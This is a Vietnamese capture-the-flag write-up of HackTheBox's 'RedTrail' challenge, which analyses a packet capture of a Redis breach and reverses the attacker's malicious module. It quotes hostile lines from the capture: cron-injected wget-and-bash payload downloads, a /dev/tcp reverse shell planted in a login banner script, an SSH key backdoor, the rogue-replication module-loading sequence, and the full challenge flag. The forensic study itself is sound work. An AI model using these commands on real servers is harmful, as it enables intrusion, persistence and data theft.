RedTrail là một challenge của HackTheBox,

Đây là description của đề
Our SOC team detected a suspicious activity on one of our redis instance. Despite the fact it was password protected it seems that the attacker still obtained access to it. We need to put in place a remediation strategy as soon as possible, to do that it’s necessary to gather more informations about the attack used. NOTE: flag is composed by three parts.
oke cùng giải quyết nó nào
Initial Access
Tải attachment, đề cho chúng ta một file .pcap, mở bằng nó bằng wireshark

Chúng ta có thể thấy, có rất nhiều gói RESP (REdis Serialization Protocol), thì đây là một giao thức được thiết kế đặt biệt cho việc client-server communication trong Redis Mình sẽ để một số nguồn tham khảo cho các bạn muốn tìm hiểu sau về giao thức này: https://github.com/redis/redis-specifications/blob/master/protocol/RESP2.md https://redis-doc-test.readthedocs.io/en/latest/topics/protocol/)
Follow TCP Stream để xem cụ thể nội dung các gói này là gì
tcp.stream eq 0

Ở stream 0 này, ta thấy attacker đã thực hiện xác thực thông qua lệnh AUTH và password:1943567864 chứng tỏ attacker đã có được thông tin đăng nhập này bằng một cách nào đó (author không cho chúng ta context cụ thể ở phần này).

Sau khi có được quyền truy cập, attacker thực hiện hành vi reconnaissance server Redis

Credential Exfiltration
tiếp theo, ta có thể thấy attacker đang enumeration và trích xuất các credential

và ở đây ta được Flag-part2: _c0uld_0p3n_n3w

ở đây ta thấy được attacker sử dụng các lệnh:
CONFIG SET DIR /var/spool/cron
CONFIG SET DBFILENAME root
SET TY1RI8 * * * * * wget -O VgLy8V0Zxo 'http://files.pypi-install.com/packages/VgLy8V0Zxo' && bash VgLy8V0Zxo
từ đó ta biết được rằng attacker đang thực hiện việc inject vào cronjob để thực thi việc drop malware và persistence.

và vào phần export của wireshark, ta thấy được file bị inject vào, dump nó ra để phân tích thoi

ở đây shell chỉ thực hiện việc tách chuỗi thoi, không có gì khó để recover lại

ta thấy đoạn base64 này đang bị reverse thoi
Persistence

sử dụng cyberchef để decode thì ta thấy nó đang thực hiện một bash script khác.
Thì bash script này cũng đang thực hiện việc nối các biến chứa chuỗi base64 rồi decode và gọi bash để thực thi, ta có thể viết lại như sau:

ở đây chúng ta thấy rõ ràng persistence theo 2 hướng khác nhau:
Hướng 1: attacker sẽ ghi bash -c "bash -i >& /dev/tcp/10.10.0.200/1337 0>&1" vào file /etc/update-motd.d/00-header, thì file này sẽ được thực thi để print ra banner khi có người dùng kết nối và đăng nhập thông qua SSH. Vậy nên khi có người đăng nhập vào, thì server gửi một reverse shell về 10.10.0.200:1337 của attacker
Hướng 2: script sẽ ghi vào ~/.ssh/authorized_keys một key của attacker từ đó tạo thêm một backdoor khác mà attacker có thể dùng để access đến server victim.
Trong key này, ta cũng thấy được Flag-part1: HTB{r3d15_1n574nc35
Write malicious RDB & RCE:
Đến với stream tiếp theo



Ta thấy attacker đang thực thi một số lệnh như:
AUTH 1943567864
SLAVEOF 10.10.0.15 6379: cho phép attacker gửi file RDB tùy ý
CONFIG SET DIR /data: CONFIG SET dbfilename x10SPFHN.so (Attacker chuẩn bị drop malicious Redis module)
MODULE LOAD ./x10SPFHN.so: Redis load module độc hại
SLAVEOF NO ONE, CONFIG SET dbfilename dump.rdb, system.exec rm -v ./x10SPFHN.so: Xóa dấu vết
Drop malware
wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3 : thể hiện rõ ràng hành vi drop và thực thi malware
sau đó
MODULE UNLOAD system: xóa dấu vết

oke nhìn vào các response của server, ta thấy output các lệnh RCE của attacker đã bị mã hóa.
Reverse Engineering
Dump malicious .SO file

Tiếp đến stream này, rõ ràng tác giả đã cố tình ép cho server phải FULLRESYNC, từ đó in ra đầy đủ file ELF, File này có thể chính là file x10SPFHN.so mà ta thấy đã bị write out ở stream trước.
Nhưng có một vấn đề là, do file này được đang được hiển thị thông replication payload, nên wireshark không hiểu được đây là một object file, nên sẽ không dump được theo cách thông thường.
để dump được, ta chuyển show data as thành raw, sao đó copy từ đoạn 7F 45 4c 46 (*ELF - đây là header của executable file)

sau đó dùng cyberchef để wrap lại thành file ELF hoàn chỉnh và save xuống.


oke ngonn lành:>>
RE with IDA
Oke giờ load file x10SPFHN.so vào IDA

Toi cũng không biết tại sao file này lại không mở được tab Strings, thoi kệ, lướt chay xuống .rodata đọc luôn.

oke thì ở đây toi thấy được string system.exec, chính là lệnh mà attacker đã gọi ra để thực thi các lệnh RCE mà ta thấy ở stream 2
xem xrefs thì thấy nó đang được gọi ở hàm RedisModule_OnLoad
Tóm tắt thì trong sau khi Module độc hại sau khi được load thì sẽ đăng ký một command mới là system.exec, lệnh này nó sẽ gọi tới hàm DoCommand và nhận vào các tham số để thực thi theo cú pháp sau system.exec <args>

oke tiếp theo thì phân tích hàm DoCommand

Ở biến command,nó sẽ giữ giá trị là lệnh hệ điều hành do attacker gửi vào Redis.
Sau đó nó dùng popen() để thực thi lệnh này. Đọc stdout của command từng phần fgets sau đó wrap lại hoàn chỉnh toàn bộ output vào buffer dest => Remote Command Execution hoàn chỉnh.

Tiếp đến, script thực hiện setup mã hóa output của command bằng AES-256-CBC, với KEY và IV lần lượt là các biến src và v28 với giá trị là KEY = "h02B6aVgu09Kzu9QTvTOtgx9oER9WIoz", IV = "YDP7ECjzuV7sagMN"

sau khi đã mã hóa, nó dùng dòng lặp để duyệt và convert các byte đã được mã hóa sang string hex, và gọi hàm RedisModule_ReplyWithString() để gửi lại output đến Redis client
oke dựa vào quy trình mã hóa này cùng với KEY và IV, ta sẽ decrypt lại các output đã thấy ở stream 2

với các lệnh và output trên, ta lần lượt decrypt và đây là kết quả:

và đặt biệt, với lệnh:
system.exec wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3

thì có thể đoán được file gezsdSC8i3 mà attacker tải về và thực thi là để trích xuất các biến môi trường và trong các giá trị của biến môi trường này ta cũng có được FLAG-PART3:_un3xp3c73d_7r41l5!}
wrap 3 part lại, ta được flag hoàn chỉnh:
HTB{r3d15_1n574nc35_c0uld_0p3n_n3w_un3xp3c73d_7r41l5!}
Cảm ơn mọi người đã đọc đến đây, chúc một ngày tốt lành
(\_/)
(•.•)
(>☕
–– SawG, a.k.a EagleBoiz